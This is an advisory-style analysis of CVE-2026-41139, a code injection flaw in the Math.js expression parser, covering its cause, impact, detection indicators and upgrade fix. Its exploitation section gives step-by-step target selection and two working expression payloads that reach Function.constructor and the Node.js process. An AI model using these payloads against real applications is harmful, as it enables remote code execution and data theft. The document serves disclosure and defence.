CVE-2026-41139: 
JavaScript vulnerability analysis and mitigation

CVE-2026-41139 is a code injection vulnerability in Math.js, an extensive math library for JavaScript and Node.js, that allows authenticated users to execute arbitrary JavaScript via the expression parser. The vulnerability was introduced in mathjs v13.1.0 and affects all versions from 13.1.0 up to (but not including) 15.2.0. It was published on May 7, 2026, with the fix merged on April 7, 2026, and the patched release (v15.2.0) tagged the same day. It carries a CVSS v3.0 base score of 8.8 (High) (GitHub Advisory, Red Hat CVE).

The vulnerability stems from two related flaws in the mathjs expression parser (CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes; CWE-94: Code Injection). First, the get() method on DenseMatrix and SparseMatrix did not validate that the index argument was a proper JavaScript Array, allowing a crafted object with a malicious reduce callback to be passed instead — enabling access to restricted properties like constructor. Second, the internal setSafeProperty function improperly allowed setting non-numeric, non-length properties on arrays, which could be exploited to override array methods (e.g., map) and ultimately obtain a reference to Function.constructor, enabling arbitrary code execution. The fix validates that the index in .get() methods is an Array and restricts setSafeProperty to only allow numeric indices or length on arrays (GitHub PR #3656, Commit 0aee2f6).

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript code within the Node.js process running mathjs, resulting in high confidentiality, integrity, and availability impact. An attacker can gain full control of the Node.js process, including read/write access to the file system, environment variables, and other system resources, potentially enabling data exfiltration, persistence, or lateral movement within the hosting environment (GitHub Advisory, Red Hat CVE). Applications that expose the mathjs expression parser to user-supplied input — such as online calculators, data analysis tools, or educational platforms — are most at risk.

The vulnerability requires low privileges (an authenticated user) and no user interaction, with network-level access and low attack complexity. As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (Red Hat CVE). The EPSS score is approximately 0.063%, indicating a low current probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Qualys has added detection for this vulnerability (detection ID 5012974) (Feedly).

1. Identify a target application: Find a web application or service that uses mathjs versions 13.1.0–15.1.x and exposes the expression parser to user-supplied input (e.g., a math evaluation endpoint).
2. Authenticate: Obtain low-privilege credentials or a session token for the target application, as the vulnerability requires at least authenticated access.
3. Craft a DenseMatrix index exploit: Submit a mathjs expression that calls matrix().get() with a crafted non-Array object containing a malicious reduce callback, bypassing the index type check to access restricted JavaScript properties:

   m = matrix();
   func = m.get({"length":1,"reduce":f(callback,a)=callback(cos,"constructor")});
   getProcess = func("return process");
   getProcess()

4. Alternatively, exploit setSafeProperty via array method override: Use the reviver function to obtain a raw JavaScript array, override its map method, and trigger FunctionAssignmentNode serialization to obtain a reference to Function.constructor:

   constantNode = reviver('',{'mathjs':'ConstantNode','value':1});
   array = reviver('',{'mathjs':'ArrayNode'}).map().toJSON()['items'];
   array.push({'name':'a','type':{}});
   array.map = f(callback)=callback({'name':{'name':'a','map':f2(callback2)=callback2({},'constructor')},'type':cos});
   functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':constantNode});
   func = functionAssignmentNode.toJSON()['params']['type'];
   getProcess = func('return process');
   getProcess()

5. Achieve arbitrary code execution: The obtained Function.constructor reference allows constructing and executing arbitrary JavaScript, granting full Node.js process control including filesystem access and environment variable exposure (GitHub PR #3656, GitHub Advisory).

• Logs: Unusual or malformed mathjs expression strings in application logs containing keywords such as reviver, FunctionAssignmentNode, ArrayNode, ConstantNode, constructor, or return process; errors referencing Array expected for index or No access to property in Node.js application logs may indicate attempted exploitation.
• Process: Unexpected child processes spawned by the Node.js process (e.g., sh, bash, curl, wget, python) that are not part of normal application behavior.
• Network: Outbound connections from the Node.js server to unknown external IP addresses or domains, particularly following mathjs expression evaluation requests.
• File System: Unexpected new files, scripts, or cron jobs created by the Node.js process user account; modifications to application files or configuration.

The only remediation is to upgrade mathjs to version 15.2.0 or later, as no workaround exists without upgrading (GitHub Advisory, Release v15.2.0). If immediate patching is not feasible, restrict access to the mathjs expression parsing functionality to only trusted, authenticated users and sanitize or block complex expression inputs. Additionally, consider sandboxing the Node.js process running mathjs using OS-level controls (e.g., containers, seccomp, or reduced filesystem permissions) to limit the blast radius of potential exploitation (Red Hat CVE).

The vulnerability received coverage from The Hacker Wire, which published an article titled "Math.js Arbitrary JavaScript Execution via Expression Parser" shortly after disclosure (The Hacker Wire). Community discussion appeared on Reddit's r/pwnhub and on Bluesky and Mastodon, with posts highlighting the high-severity nature of the flaw in a widely used JavaScript math library. Red Hat tracked the vulnerability and opened a Bugzilla entry, indicating relevance to downstream consumers of the npm package (Red Hat CVE). The security researcher credited with discovery is CykuTW, as noted in the GitHub Security Advisory (GitHub Advisory).